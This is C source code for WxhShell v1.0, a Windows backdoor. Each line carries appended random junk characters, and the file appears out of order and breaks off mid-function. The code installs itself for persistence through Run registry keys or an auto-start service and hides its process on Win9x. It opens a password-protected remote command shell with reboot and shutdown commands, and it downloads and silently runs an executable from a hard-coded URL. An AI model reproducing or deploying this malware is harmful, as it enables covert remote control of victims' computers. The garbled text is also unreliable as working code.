DWORD ExitStatus; @|o^]-,
DWORD PebBaseAddress; u/74E0$S
DWORD AffinityMask; <7~+ehu
DWORD BasePriority; -}<W|r
ULONG UniqueProcessId; Zh.9j7
>p
ULONG InheritedFromUniqueProcessId; `ZAGseDd~
} PROCESS_BASIC_INFORMATION; ,W<mz7Z(@
iu.+bX|b
PROCNTQSIP NtQueryInformationProcess; R<-(
\c$!C8z
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }q@Jh*
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; faaFmEC
,n?oNU
HANDLE hProcess; (%EhkTb
PROCESS_BASIC_INFORMATION pbi; zpd Z.
i;B)@op.#
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8U>f/dxLOO
if(NULL == hInst ) return 0; ^cF_z}Zi+
7w{>bYP
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lGZ^ 8
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); A#j'JA>_
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J$D#)w!$j
8wqHr@}p
if (!NtQueryInformationProcess) return 0; qTL]
{` Lem
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ']ussFaQ
if(!hProcess) return 0; ?F9:rUyN
mmG+"g$|
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1x#Z}XG
{?' DZR s
CloseHandle(hProcess); t)O$W
Ojf.D6nY
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);
.* xaI+:
if(hProcess==NULL) return 0; OXuBtW*,z+
q}#4bB9
HMODULE hMod; h$EH|9HAb
char procName[255]; /}\EMP
unsigned long cbNeeded; Q9b.]W
tTB,eR$
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4jlUyAD
dtw4cG
CloseHandle(hProcess); p] V
`)5E_E3
if(strstr(procName,"services")) return 1; // 以服务启动 [wJM=`!W
"+iPeRF!hU
return 0; // 注册表启动 x4PA~R
} 9"3 7va
:O}= $[
// 主模块 >i %{5d
int StartWxhshell(LPSTR lpCmdLine) -lL(:drn
{ \Q"j^4
SOCKET wsl; Qx-/t 9`!Z
BOOL val=TRUE; z
%Ty;
int port=0; |UN0jR
struct sockaddr_in door; ?CgqHmf\\(
Z6eM~$Y
if(wscfg.ws_autoins) Install(); ?8AchbK;N
S:IhJQ4K
port=atoi(lpCmdLine); YL_M=h>P
AM4lAq_
if(port<=0) port=wscfg.ws_port; !e5!8z
ToWiXH)4
WSADATA data; mhZ{}~
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /UP&TyZ
uIOnP
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; \':'8:E
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _?"P<3/iF
door.sin_family = AF_INET; SJg4P4|
door.sin_addr.s_addr = inet_addr("127.0.0.1"); tI42]:z
door.sin_port = htons(port); i^SuVca
CatbEXO
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { TPjElBh
closesocket(wsl); 3
q1LIM
return 1; ;L1Q"Hxh
} N`3q54_$
0w M2v[^YO
if(listen(wsl,2) == INVALID_SOCKET) { z l?Gd4
closesocket(wsl); LH7m >/LJr
return 1; 00jW s@K
} 0, b.;r
Wxhshell(wsl); b`a4SfbQS
WSACleanup(); 6_Ps*Ed
MI^@p`s
return 0; -|K^!G
~
_ ogeD
} Z3C]n,I
lZ5LHUzP
// 以NT服务方式启动 |2<y
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #`Af
{ <{ZDD]UGs0
DWORD status = 0; w)C/EHF
DWORD specificError = 0xfffffff; R[#Np`z
e}f#dR+(
serviceStatus.dwServiceType = SERVICE_WIN32; 55Pe&V1=
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 5 [GdFd>{
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q$Q>pV;uH
serviceStatus.dwWin32ExitCode = 0; azhilUD8
serviceStatus.dwServiceSpecificExitCode = 0; xG_LEk( zD
serviceStatus.dwCheckPoint = 0; $6[%NQp
serviceStatus.dwWaitHint = 0; U/}("i![Dy
'6g;UOx^=
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \wjT|z1+Y
if (hServiceStatusHandle==0) return; ;AH8/M B9
LZ=E
status = GetLastError(); 'zJBp 9a%
if (status!=NO_ERROR) p>ba6BDJT
{ ltWEA
serviceStatus.dwCurrentState = SERVICE_STOPPED; wZUZ"Y}9
serviceStatus.dwCheckPoint = 0; "xI70c{
serviceStatus.dwWaitHint = 0; } yb"/jp
serviceStatus.dwWin32ExitCode = status; X-4(oE
serviceStatus.dwServiceSpecificExitCode = specificError; q!10G
SetServiceStatus(hServiceStatusHandle, &serviceStatus); po! [Nd&"
return; $x~U&a
} G1
K@Ir<
xe4`D>LUo
serviceStatus.dwCurrentState = SERVICE_RUNNING; Kj7
?_o{
serviceStatus.dwCheckPoint = 0; lRANXM
serviceStatus.dwWaitHint = 0; A3Xfu$[u
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); oA* 88c+{f
} h
wi!C}
{EjzJr>
// 处理NT服务事件,比如:启动、停止 og?L 9
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6vfut$)[{
{ Fy*t[>
switch(fdwControl) swz)gh-*
{ t`-
[
case SERVICE_CONTROL_STOP: Eo`'6
3
serviceStatus.dwWin32ExitCode = 0; dDbH+kqO
serviceStatus.dwCurrentState = SERVICE_STOPPED; D!DL6l`
serviceStatus.dwCheckPoint = 0; P6 7*-Ki
serviceStatus.dwWaitHint = 0; _<6E>"*m
{ v=_Ds<6n
SetServiceStatus(hServiceStatusHandle, &serviceStatus); a"{b}UP
}
/s~BE ,su
return; I.gF38Mx
case SERVICE_CONTROL_PAUSE: k?}y@$[)
serviceStatus.dwCurrentState = SERVICE_PAUSED; Obx!>mI^6
break; Nh01NY;
case SERVICE_CONTROL_CONTINUE: *&z!y/
serviceStatus.dwCurrentState = SERVICE_RUNNING; Hf+oG
break; $3S`A]xO
case SERVICE_CONTROL_INTERROGATE: BZa`:ah~x
break; 0Q~\1D 9g
}; Gs>4/
SetServiceStatus(hServiceStatusHandle, &serviceStatus); BS2'BS8
} .)E1|U[L
Qoa&]]
// 标准应用程序主函数 Z kBWVZb
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) kZ0z]Y
{ t:P]G>)x|
sVH
w\_F$
// 获取操作系统版本 fRwr}n'
OsIsNt=GetOsVer(); 5~OKKSUmT
GetModuleFileName(NULL,ExeFile,MAX_PATH); @ %o'
w^ X@PpP
// 从命令行安装 f jMmlp
if(strpbrk(lpCmdLine,"iI")) Install(); P\h1%a/D
\' &,9lP
// 下载执行文件 W!|l_/L'
if(wscfg.ws_downexe) { ";upu
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (ylZ[M&B:
WinExec(wscfg.ws_filenam,SW_HIDE); lpjby[S
} zj$Ve
$,o@&QT?AT
if(!OsIsNt) { `,Fc271`
// 如果时win9x,隐藏进程并且设置为注册表启动 OX}ZdM!&f
HideProc(); dFZh1*1
StartWxhshell(lpCmdLine); !{ !(yP_
} (S_1C,
else qykI[4
if(StartFromService()) id)J;!^;J
// 以服务方式启动 }vZTiuzC
StartServiceCtrlDispatcher(DispatchTable); wS [k}
else 8\bZ?n#dn
// 普通方式启动 gu1n0N`b
StartWxhshell(lpCmdLine); /S9n!H:MT
0xV[C4E[6
return 0; -3SRGr
} Hiih$O+
zomg$@j
||;a#FZ^
j?(@x>HA
=========================================== "R[6Q ^vw
MNX-D0`g
787}s`,}
`nL^]i
?xt${?KP
8u Z4[
" (N{
Jh%k:TrBm
#include <stdio.h> u2 U4MV1C
#include <string.h> TZ:dY x
#include <windows.h> 9-?kamA
#include <winsock2.h> F:-6Htmj
#include <winsvc.h> !Op18hP$
#include <urlmon.h> fG /wU$B
8;P_KRaE
#pragma comment (lib, "Ws2_32.lib") W97
&[([
#pragma comment (lib, "urlmon.lib") l5_%Q+E_
po+1
#define MAX_USER 100 // 最大客户端连接数 }u~r.=
#define BUF_SOCK 200 // sock buffer ]I0(_e|z}
#define KEY_BUFF 255 // 输入 buffer WR>2t&;E
7033#@_
#define REBOOT 0 // 重启 b"z9Dp v
#define SHUTDOWN 1 // 关机 3yIC@>&y(8
_xXDvBU
#define DEF_PORT 5000 // 监听端口 FZtILlw
_:9-x;0H2
#define REG_LEN 16 // 注册表键长度 Q_n9}LanP
#define SVC_LEN 80 // NT服务名长度 V~qlg1h
`!g
XA.9Uv
// 从dll定义API wz]OM
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ek4?|!kQD
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]#oqum@Yf1
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ic&Jhw;]z
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5VPP 2;J
as| MB
(
// wxhshell配置信息 kzb1iBe 6m
struct WSCFG { VR_ bX|
int ws_port; // 监听端口 kP}91kja
char ws_passstr[REG_LEN]; // 口令 G!IJ#|D:~
int ws_autoins; // 安装标记, 1=yes 0=no )|@UY(VZ^
char ws_regname[REG_LEN]; // 注册表键名 {pNf&'
char ws_svcname[REG_LEN]; // 服务名
UBxQ4)%
char ws_svcdisp[SVC_LEN]; // 服务显示名 c\pPwG
char ws_svcdesc[SVC_LEN]; // 服务描述信息 4d0<uB&v'
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 U0W- X9>y
int ws_downexe; // 下载执行标记, 1=yes 0=no gRdg3qvU
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /0H39]y!~
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -!]dU`:(X
oLp:Z=
}; KI="O6 h
URD<KIN>
// default Wxhshell configuration AyMMr_q
struct WSCFG wscfg={DEF_PORT, U ]6Hml;l
"xuhuanlingzhe", L?n*b
1, ~IKPi==@,
"Wxhshell", xFY;aK
"Wxhshell", =N zA2td
"WxhShell Service", z_p/.kQ'5
"Wrsky Windows CmdShell Service", 8?r
,ylUj
"Please Input Your Password: ", X|7Y|0o
1, /IC7q?avQN
"http://www.wrsky.com/wxhshell.exe", &@xixbg
"Wxhshell.exe" pcw^W
}; ,]'?Gd
n(b(H`1n
// 消息定义模块 1v4(
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Z?5kO-[
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8vM}moper
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +M6qbIO
char *msg_ws_ext="\n\rExit."; %jY/jp=R
char *msg_ws_end="\n\rQuit."; hb"t8_--c
char *msg_ws_boot="\n\rReboot..."; |Y!#`
char *msg_ws_poff="\n\rShutdown..."; y.~y*c6,g
char *msg_ws_down="\n\rSave to "; ?s("@dz_
v3+\Aq
char *msg_ws_err="\n\rErr!"; M ,8r{[2
char *msg_ws_ok="\n\rOK!"; 0=;jGh}|i
31y=Ar""
char ExeFile[MAX_PATH]; V,($I'&/
int nUser = 0; W$0<a@
HANDLE handles[MAX_USER]; 4XDR?KUM
int OsIsNt; 2@o_7w98
QH6Lb%]/
SERVICE_STATUS serviceStatus; Pt?]JJxl-
SERVICE_STATUS_HANDLE hServiceStatusHandle; {b>tX)Tep
n< [np;\
// 函数声明 =/"Of
int Install(void); lkV%
k1w
int Uninstall(void); dfe 9)m>
int DownloadFile(char *sURL, SOCKET wsh); Ay!=Yk^~
int Boot(int flag); I;L$Nf{v
void HideProc(void); qu8i Jq
int GetOsVer(void); Ix%h/=I
int Wxhshell(SOCKET wsl); S'HM|&
void TalkWithClient(void *cs); -3X#$k8
int CmdShell(SOCKET sock); 7Rj!vj/
int StartFromService(void); @<\f[Znto
int StartWxhshell(LPSTR lpCmdLine); ~ @Ib:M
R)t"`'6|
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); f
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VOID WINAPI NTServiceHandler( DWORD fdwControl ); '!Vn
\w^iSK-
// 数据结构和表定义 >\8Bu#&s4
SERVICE_TABLE_ENTRY DispatchTable[] = O1coay
{ bmc1S
{wscfg.ws_svcname, NTServiceMain}, X(1nAeQ
{NULL, NULL} 9'Y~! vY
}; ?{$Q'c_I
=+97VO(w]G
// 自我安装 'rRo2oTN
int Install(void) bP6QF1L
{ ._=Pa)T
char svExeFile[MAX_PATH]; ?)7uwJsH
HKEY key; zrE
~%YR
strcpy(svExeFile,ExeFile); =XJ
SE+ 7
;Mc\>i/
// 如果是win9x系统,修改注册表设为自启动 4CS9vv)9R
if(!OsIsNt) { ]}8<h5h)
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S3:Pjz}t
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P`5@$1CJ
RegCloseKey(key); Tm_AoZH
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RERum
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X7{ueP#L
RegCloseKey(key); 23qTmh
return 0; :+/V
} g[44YrRD
} 4s^5t6
} gf2l19aP
else { &iR>:=ksN
c7q1;X{:
// 如果是NT以上系统,安装为系统服务 ['sj'3cW-
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /lx\9S|
if (schSCManager!=0) (i1FMd}G
{ C&,&~^_F
SC_HANDLE schService = CreateService ^vYH"2
( 3)T'&HKQ
schSCManager, a:Y6yg%1>
wscfg.ws_svcname, S WVeUL#5
wscfg.ws_svcdisp, x
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SERVICE_ALL_ACCESS, GX&BUP\
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \s<{V7tq
SERVICE_AUTO_START, _:Tjq)
SERVICE_ERROR_NORMAL, iP~5=
svExeFile, dd@^e)VZB
NULL, G6w&C^J*8>
NULL, 2^bq4c4J
NULL, P\tP0+at
NULL, }\:3}'S.$
NULL f'0n^mSP
); @ JZ I
if (schService!=0) }Xr-xh\v
{ h
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CloseServiceHandle(schService); M")J buI
CloseServiceHandle(schSCManager); +J}
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strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *&q\)\(3w
strcat(svExeFile,wscfg.ws_svcname); 0Jm6 r4s?
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { hF s:9
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5DK>4H:
RegCloseKey(key); K:Wxx"
return 0; m vO!Y
} <{bQl
L
} K]Q#B|_T
CloseServiceHandle(schSCManager); 4*}[h9J}\
} "^F#oo%L
} VLC<ju!
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return 1; =dx!R ,Bw
} I 8vv
z}.y
?#
// 自我卸载 {a\O7$A\F
int Uninstall(void) &)JQ6J_|\
{ oGM Ls
HKEY key; 7cW9@xPe
91qk0z`N
if(!OsIsNt) { <cNXe4(
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X1&Ug^
RegDeleteValue(key,wscfg.ws_regname); 8]skAh
RegCloseKey(key); usH9dys,
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _8P"/(
`Rw
RegDeleteValue(key,wscfg.ws_regname); _x&;Fa%
RegCloseKey(key); g}"`@H(9r3
return 0; #"-?+F=rk
} l*>t@:2J
} m^0r9y,
} 'kb5pl~U
else { T6m#sVq
Rt:k4Q
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [zv>Wlf,%
if (schSCManager!=0) vQ/}E@?u
{ nlmc/1C
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
A]ZCQ49
if (schService!=0) DX GClH
{ b~X^vXIv%%
if(DeleteService(schService)!=0) { @ODwO;_R5
CloseServiceHandle(schService); KiYO,nD;\
CloseServiceHandle(schSCManager); ^ CVhV
return 0; Fd Ezt
} mkgGX|k;
CloseServiceHandle(schService); Go~bQ2*'(/
} arJ4^ d
CloseServiceHandle(schSCManager); :W]?6=
} ^7MhnA
} AzAD76iNv
u>c\J|K_V
return 1; = ms(dr^n
} ah<1&UG,
T'\B17
:*
// 从指定url下载文件 xw_VK1
int DownloadFile(char *sURL, SOCKET wsh) !wiW#PR
{ M
S
3?#b
HRESULT hr; 2VmQ%y6e"
char seps[]= "/"; Gr9/@U+
char *token; Fe
3*pUt
char *file; q-s! hiK
char myURL[MAX_PATH]; o?nlnoe
char myFILE[MAX_PATH]; v{{Cj83S+
u8ofgcFYE
strcpy(myURL,sURL); Y[%1?CREP
token=strtok(myURL,seps); i`[5%6\"&
while(token!=NULL) 'J^ M`/
{ &v!=\Fig4
file=token; l`lo5:w
token=strtok(NULL,seps); Z(Da?6#1
} sYV7t*l
C${{&$&